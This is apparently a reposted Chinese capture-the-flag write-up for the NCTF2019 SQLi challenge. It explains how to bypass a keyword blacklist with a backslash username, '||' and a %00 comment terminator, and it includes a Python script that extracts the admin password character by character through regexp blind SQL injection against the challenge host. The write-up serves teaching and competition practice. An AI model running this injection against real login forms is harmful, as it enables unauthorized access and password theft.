php sql中regexp,[NCTF2019]SQLi(regexp注入)
主頁就一個登錄框 。把sql語句顯示出來了。
再進行一波信息搜集??纯磖obots.txt
有個hint.txt
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in||-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
拿到flag的條件是post的密碼要等于admin密碼。并沒有對用戶名做限制
過濾了很多字符串。這里select字段被過濾了。但是沒關系。mysql同一張表中的字段不需要select即可查詢。這里只能用盲注。盲注還分時間盲注等。這里regexp即可繞過過濾
在Mysql種%00也是注釋符。但是前面必須得加;
此時執行的sql語句為
select * from users where username='\' and passwd='||1;%00'
#where username='xxxx'||1
條件為真時。就會跳轉。
條件為假時。就會回到登陸頁
我們可以通過regexp來一位位判斷密碼
由于數據庫中密碼數據比較多。所以存在很多的密碼
得一個個試。有那么多條數據。
最后y(79)開頭的那條數據。比較特殊。開頭三位是you
寫個腳本爆破下這條數據
import requests
from urllib import parse
import string
import time
str1 = string.ascii_letters+'_'+string.digits
url='http://9d86404e-b5c0-41ff-b8ef-f9bbf6da8e8c.node3.buuoj.cn/index.php'
flag='79'
a=parse.unquote('%00')
for i in range(50):
for i in str1:
data={"username":"\\",
"passwd":"||passwd/**/regexp/**/0x"+flag+hex(ord(i)).replace('0x','')+";"+a
}
r=requests.post(url=url,data=data)
if 'welcome.php' in r.text:
flag+=hex(ord(i)).replace('0x','')
print(flag)
break
time.sleep(0.5)
#防止429
用戶名隨意。密碼填跑出來的密碼。
因為flag條件為POST密碼==admin密碼即可。
總結
以上是生活随笔為你收集整理的php sql中regexp,[NCTF2019]SQLi(regexp注入)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: “暮齿又贪生”下一句是什么
- 下一篇: matlab变压器紧耦合,一种紧耦合高效